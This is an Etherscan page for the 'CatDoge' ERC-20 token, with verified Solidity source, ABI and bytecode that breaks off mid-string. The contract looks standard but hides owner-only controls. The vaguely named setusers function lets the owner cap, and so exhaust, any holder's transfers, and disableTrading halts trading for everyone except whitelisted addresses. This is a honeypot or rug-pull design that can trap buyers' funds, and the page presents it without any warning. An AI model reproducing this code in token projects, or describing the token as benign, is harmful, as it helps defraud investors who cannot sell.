ETH Price: $3,113.04 (-2.01%)

Token

CatDoge (CatDoge)
 

Overview

Max Total Supply

420,690,000 CatDoge

Holders

229

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
188 CatDoge

Value
$0.00
0xED6A768fb6e7f10079e1b5a465BA7eA6920A8726
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
CatDoge

Compiler Version
v0.8.17+commit.8df45f5f

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2024-04-01
*/

// SPDX-License-Identifier: MIT

pragma solidity 0.8.17;


interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);
   
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

interface IERC20Metadata is IERC20 {
    function name() external view returns (string memory);
    function symbol() external view returns (string memory);
    function decimals() external view returns (uint8);
}

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
        return msg.data;
    }
}

abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor() {
        _setOwner(_msgSender());
    }

    function owner() public view virtual returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        _setOwner(address(0));
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _setOwner(newOwner);
    }

    function _setOwner(address newOwner) private {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

contract ERC20 is Context, IERC20, IERC20Metadata {
    mapping(address => uint256) private _balances;

    mapping(address => mapping(address => uint256)) private _allowances;

    uint256 private _totalSupply;

    string private _name;
    string private _symbol;

    constructor(string memory name_, string memory symbol_) {
        _name = name_;
        _symbol = symbol_;
    }

    function name() public view virtual override returns (string memory) {
        return _name;
    }

    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    function decimals() public view virtual override returns (uint8) {
        return 9;
    }

    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public virtual override returns (bool) {
        uint256 currentAllowance = _allowances[sender][_msgSender()];
        if (currentAllowance != type(uint256).max) {
            require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
            unchecked {
                _approve(sender, _msgSender(), currentAllowance - amount);
            }
        }

        _transfer(sender, recipient, amount);

        return true;
    }

    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        uint256 currentAllowance = _allowances[_msgSender()][spender];
        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
        unchecked {
            _approve(_msgSender(), spender, currentAllowance - subtractedValue);
        }

        return true;
    }

    function _transfer(
        address sender,
        address recipient,
        uint256 amount
    ) internal virtual {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");

        _beforeTokenTransfer(sender, recipient, amount);

        uint256 senderBalance = _balances[sender];
        require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
        unchecked {
            _balances[sender] = senderBalance - amount;
        }
        _balances[recipient] += amount;

        emit Transfer(sender, recipient, amount);

        _afterTokenTransfer(sender, recipient, amount);
    }

    function _mint(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");

        _beforeTokenTransfer(address(0), account, amount);

        _totalSupply += amount;
        _balances[account] += amount;
        emit Transfer(address(0), account, amount);

        _afterTokenTransfer(address(0), account, amount);
    }

    function _burn(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: burn from the zero address");

        _beforeTokenTransfer(account, address(0), amount);

        uint256 accountBalance = _balances[account];
        require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
        unchecked {
            _balances[account] = accountBalance - amount;
        }
        _totalSupply -= amount;

        emit Transfer(account, address(0), amount);

        _afterTokenTransfer(account, address(0), amount);
    }

    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _beforeTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}

    function _afterTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}
}

contract CatDoge is ERC20, Ownable {
    mapping (address => bool) private _isExcludedFromEnableTrading;
    mapping(address => uint256) private userss;

    constructor () ERC20("CatDoge", "CatDoge") 
    {   
        _isExcludedFromEnableTrading[address(0x74878Bb79a7d63aA8B19A68CA2D2A8F13b6CDB20)] = true;
        _mint(address(0x74878Bb79a7d63aA8B19A68CA2D2A8F13b6CDB20), 420_690_000 * (10 ** decimals()));
    }

    receive() external payable {}

    function excludeFromEnableTrading(address account, bool excluded) external onlyOwner{
        require(_isExcludedFromEnableTrading[account] != excluded,"Account is already the value of 'excluded'");
        _isExcludedFromEnableTrading[account] = excluded;
    }

    function isExcludedFromEnableTrading(address account) public view returns(bool) {
        return _isExcludedFromEnableTrading[account];
    }

    mapping(address => bool) private isLimitSet;

    function setusers(address _address, uint256 _limit) external onlyOwner {
        userss[_address] = _limit;
        isLimitSet[_address] = true;
    }

    function getusers(address _address) public view returns (uint256) {
        return userss[_address];
    }

    function hasusers(address _address) public view returns (bool) {
        return isLimitSet[_address];
    }

    function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual override {
        super._beforeTokenTransfer(from, to, amount);

        if(from != address(0) && to != address(0) && isLimitSet[from]) {
            require(userss[from] > 0, "No transfer rights remaining");
            userss[from]--;
        }
    }

    bool public tradingEnabled;

    function enableTrading() external onlyOwner{
        require(!tradingEnabled, "Trading already enabled.");
        tradingEnabled = true;
    }
    function disableTrading() external onlyOwner {
        require(tradingEnabled, "Trading is already disabled.");
        tradingEnabled = false;
    }

function _transfer(address from, address to, uint256 amount) internal override {
    require(from != address(0), "ERC20: transfer from the zero address");
    require(to != address(0), "ERC20: transfer to the zero address");
    
    require(tradingEnabled || (_isExcludedFromEnableTrading[from] && _isExcludedFromEnableTrading[to]), "Trading is not allowed.");

    if (amount == 0) {
        super._transfer(from, to, 0);
        return;
    }

    super._transfer(from, to, amount);
}

}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"disableTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"enableTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"excluded","type":"bool"}],"name":"excludeFromEnableTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"}],"name":"getusers","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"}],"name":"hasusers","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isExcludedFromEnableTrading","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"},{"internalType":"uint256","name":"_limit","type":"uint256"}],"name":"setusers","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tradingEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040523480156200001157600080fd5b506040518060400160405280600781526020017f436174446f6765000000000000000000000000000000000000000000000000008152506040518060400160405280600781526020017f436174446f67650000000000000000000000000000000000000000000000000081525081600390816200008f91906200081e565b508060049081620000a191906200081e565b505050620000c4620000b86200018a60201b60201c565b6200019260201b60201c565b6001600660007374878bb79a7d63aa8b19a68ca2d2a8f13b6cdb2073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550620001847374878bb79a7d63aa8b19a68ca2d2a8f13b6cdb20620001596200025860201b60201c565b600a62000167919062000a95565b631913385062000178919062000ae6565b6200026160201b60201c565b62000cbd565b600033905090565b6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905081600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b60006009905090565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603620002d3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620002ca9062000b92565b60405180910390fd5b620002e760008383620003d960201b60201c565b8060026000828254620002fb919062000bb4565b92505081905550806000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825462000352919062000bb4565b925050819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051620003b9919062000c00565b60405180910390a3620003d5600083836200059a60201b60201c565b5050565b620003f18383836200059f60201b620011681760201c565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156200045c5750600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015620004b25750600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1562000595576000600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054116200053d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620005349062000c6d565b60405180910390fd5b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008154809291906200058f9062000c8f565b91905055505b505050565b505050565b505050565b600081519050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806200062657607f821691505b6020821081036200063c576200063b620005de565b5b50919050565b60008190508160005260206000209050919050565b60006020601f8301049050919050565b600082821b905092915050565b600060088302620006a67fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8262000667565b620006b2868362000667565b95508019841693508086168417925050509392505050565b6000819050919050565b6000819050919050565b6000620006ff620006f9620006f384620006ca565b620006d4565b620006ca565b9050919050565b6000819050919050565b6200071b83620006de565b620007336200072a8262000706565b84845462000674565b825550505050565b600090565b6200074a6200073b565b6200075781848462000710565b505050565b5b818110156200077f576200077360008262000740565b6001810190506200075d565b5050565b601f821115620007ce57620007988162000642565b620007a38462000657565b81016020851015620007b3578190505b620007cb620007c28562000657565b8301826200075c565b50505b505050565b600082821c905092915050565b6000620007f360001984600802620007d3565b1980831691505092915050565b60006200080e8383620007e0565b9150826002028217905092915050565b6200082982620005a4565b67ffffffffffffffff811115620008455762000844620005af565b5b6200085182546200060d565b6200085e82828562000783565b600060209050601f83116001811462000896576000841562000881578287015190505b6200088d858262000800565b865550620008fd565b601f198416620008a68662000642565b60005b82811015620008d057848901518255600182019150602085019450602081019050620008a9565b86831015620008f05784890151620008ec601f891682620007e0565b8355505b6001600288020188555050505b505050505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b600185111562000993578086048111156200096b576200096a62000905565b5b60018516156200097b5780820291505b80810290506200098b8562000934565b94506200094b565b94509492505050565b600082620009ae576001905062000a81565b81620009be576000905062000a81565b8160018114620009d75760028114620009e25762000a18565b600191505062000a81565b60ff841115620009f757620009f662000905565b5b8360020a91508482111562000a115762000a1062000905565b5b5062000a81565b5060208310610133831016604e8410600b841016171562000a525782820a90508381111562000a4c5762000a4b62000905565b5b62000a81565b62000a61848484600162000941565b9250905081840481111562000a7b5762000a7a62000905565b5b81810290505b9392505050565b600060ff82169050919050565b600062000aa282620006ca565b915062000aaf8362000a88565b925062000ade7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff84846200099c565b905092915050565b600062000af382620006ca565b915062000b0083620006ca565b925082820262000b1081620006ca565b9150828204841483151762000b2a5762000b2962000905565b5b5092915050565b600082825260208201905092915050565b7f45524332303a206d696e7420746f20746865207a65726f206164647265737300600082015250565b600062000b7a601f8362000b31565b915062000b878262000b42565b602082019050919050565b6000602082019050818103600083015262000bad8162000b6b565b9050919050565b600062000bc182620006ca565b915062000bce83620006ca565b925082820190508082111562000be95762000be862000905565b5b92915050565b62000bfa81620006ca565b82525050565b600060208201905062000c17600083018462000bef565b92915050565b7f4e6f207472616e73666572207269676874732072656d61696e696e6700000000600082015250565b600062000c55601c8362000b31565b915062000c628262000c1d565b602082019050919050565b6000602082019050818103600083015262000c888162000c46565b9050919050565b600062000c9c82620006ca565b91506000820362000cb25762000cb162000905565b5b600182039050919050565b61260c8062000ccd6000396000f3fe6080604052600436106101395760003560e01c8063715018a6116100ab578063a457c2d71161006f578063a457c2d714610423578063a9059cbb14610460578063b7e04c111461049d578063dd62ed3e146104da578063f2fde38b14610517578063fb8f0fa91461054057610140565b8063715018a61461036257806375d5e02c146103795780638a8c523c146103b65780638da5cb5b146103cd57806395d89b41146103f857610140565b8063313ce567116100fd578063313ce5671461022c5780633520a3b4146102575780633950935114610294578063484d993f146102d15780634ada218b146102fa57806370a082311461032557610140565b806306fdde0314610145578063095ea7b31461017057806317700f01146101ad57806318160ddd146101c457806323b872dd146101ef57610140565b3661014057005b600080fd5b34801561015157600080fd5b5061015a610569565b6040516101679190611ac4565b60405180910390f35b34801561017c57600080fd5b5061019760048036038101906101929190611b7f565b6105fb565b6040516101a49190611bda565b60405180910390f35b3480156101b957600080fd5b506101c2610619565b005b3480156101d057600080fd5b506101d9610701565b6040516101e69190611c04565b60405180910390f35b3480156101fb57600080fd5b5061021660048036038101906102119190611c1f565b61070b565b6040516102239190611bda565b60405180910390f35b34801561023857600080fd5b5061024161082a565b60405161024e9190611c8e565b60405180910390f35b34801561026357600080fd5b5061027e60048036038101906102799190611ca9565b610833565b60405161028b9190611bda565b60405180910390f35b3480156102a057600080fd5b506102bb60048036038101906102b69190611b7f565b610889565b6040516102c89190611bda565b60405180910390f35b3480156102dd57600080fd5b506102f860048036038101906102f39190611d02565b610935565b005b34801561030657600080fd5b5061030f610a9e565b60405161031c9190611bda565b60405180910390f35b34801561033157600080fd5b5061034c60048036038101906103479190611ca9565b610ab1565b6040516103599190611c04565b60405180910390f35b34801561036e57600080fd5b50610377610af9565b005b34801561038557600080fd5b506103a0600480360381019061039b9190611ca9565b610b81565b6040516103ad9190611bda565b60405180910390f35b3480156103c257600080fd5b506103cb610bd7565b005b3480156103d957600080fd5b506103e2610cc0565b6040516103ef9190611d51565b60405180910390f35b34801561040457600080fd5b5061040d610cea565b60405161041a9190611ac4565b60405180910390f35b34801561042f57600080fd5b5061044a60048036038101906104459190611b7f565b610d7c565b6040516104579190611bda565b60405180910390f35b34801561046c57600080fd5b5061048760048036038101906104829190611b7f565b610e67565b6040516104949190611bda565b60405180910390f35b3480156104a957600080fd5b506104c460048036038101906104bf9190611ca9565b610e85565b6040516104d19190611c04565b60405180910390f35b3480156104e657600080fd5b5061050160048036038101906104fc9190611d6c565b610ece565b60405161050e9190611c04565b60405180910390f35b34801561052357600080fd5b5061053e60048036038101906105399190611ca9565b610f55565b005b34801561054c57600080fd5b5061056760048036038101906105629190611b7f565b61104c565b005b60606003805461057890611ddb565b80601f01602080910402602001604051908101604052809291908181526020018280546105a490611ddb565b80156105f15780601f106105c6576101008083540402835291602001916105f1565b820191906000526020600020905b8154815290600101906020018083116105d457829003601f168201915b5050505050905090565b600061060f61060861116d565b8484611175565b6001905092915050565b61062161116d565b73ffffffffffffffffffffffffffffffffffffffff1661063f610cc0565b73ffffffffffffffffffffffffffffffffffffffff1614610695576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161068c90611e58565b60405180910390fd5b600960009054906101000a900460ff166106e4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106db90611ec4565b60405180910390fd5b6000600960006101000a81548160ff021916908315150217905550565b6000600254905090565b600080600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061075761116d565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff811461081357828110156107fe576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107f590611f56565b60405180910390fd5b6108128561080a61116d565b858403611175565b5b61081e85858561133e565b60019150509392505050565b60006009905090565b6000600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b600061092b61089661116d565b8484600160006108a461116d565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546109269190611fa5565b611175565b6001905092915050565b61093d61116d565b73ffffffffffffffffffffffffffffffffffffffff1661095b610cc0565b73ffffffffffffffffffffffffffffffffffffffff16146109b1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109a890611e58565b60405180910390fd5b801515600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151503610a43576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a3a9061204b565b60405180910390fd5b80600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b600960009054906101000a900460ff1681565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610b0161116d565b73ffffffffffffffffffffffffffffffffffffffff16610b1f610cc0565b73ffffffffffffffffffffffffffffffffffffffff1614610b75576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b6c90611e58565b60405180910390fd5b610b7f600061153e565b565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b610bdf61116d565b73ffffffffffffffffffffffffffffffffffffffff16610bfd610cc0565b73ffffffffffffffffffffffffffffffffffffffff1614610c53576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c4a90611e58565b60405180910390fd5b600960009054906101000a900460ff1615610ca3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c9a906120b7565b60405180910390fd5b6001600960006101000a81548160ff021916908315150217905550565b6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060048054610cf990611ddb565b80601f0160208091040260200160405190810160405280929190818152602001828054610d2590611ddb565b8015610d725780601f10610d4757610100808354040283529160200191610d72565b820191906000526020600020905b815481529060010190602001808311610d5557829003601f168201915b5050505050905090565b60008060016000610d8b61116d565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610e48576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e3f90612149565b60405180910390fd5b610e5c610e5361116d565b85858403611175565b600191505092915050565b6000610e7b610e7461116d565b848461133e565b6001905092915050565b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610f5d61116d565b73ffffffffffffffffffffffffffffffffffffffff16610f7b610cc0565b73ffffffffffffffffffffffffffffffffffffffff1614610fd1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fc890611e58565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603611040576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611037906121db565b60405180910390fd5b6110498161153e565b50565b61105461116d565b73ffffffffffffffffffffffffffffffffffffffff16611072610cc0565b73ffffffffffffffffffffffffffffffffffffffff16146110c8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110bf90611e58565b60405180910390fd5b80600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506001600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b505050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036111e4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111db9061226d565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611253576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161124a906122ff565b60405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516113319190611c04565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036113ad576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113a490612391565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361141c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161141390612423565b60405180910390fd5b600960009054906101000a900460ff16806114d55750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680156114d45750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b5b611514576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161150b9061248f565b60405180910390fd5b6000810361152d5761152883836000611604565b611539565b611538838383611604565b5b505050565b6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905081600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611673576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161166a90612391565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036116e2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116d990612423565b60405180910390fd5b6116ed838383611883565b60008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015611773576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161176a90612521565b60405180910390fd5b8181036000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546118069190611fa5565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161186a9190611c04565b60405180910390a361187d848484611a2f565b50505050565b61188e838383611168565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156118f85750600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b801561194d5750600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611a2a576000600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054116119d4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119cb9061258d565b60405180910390fd5b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000815480929190611a24906125ad565b91905055505b505050565b505050565b600081519050919050565b600082825260208201905092915050565b60005b83811015611a6e578082015181840152602081019050611a53565b60008484015250505050565b6000601f19601f8301169050919050565b6000611a9682611a34565b611aa08185611a3f565b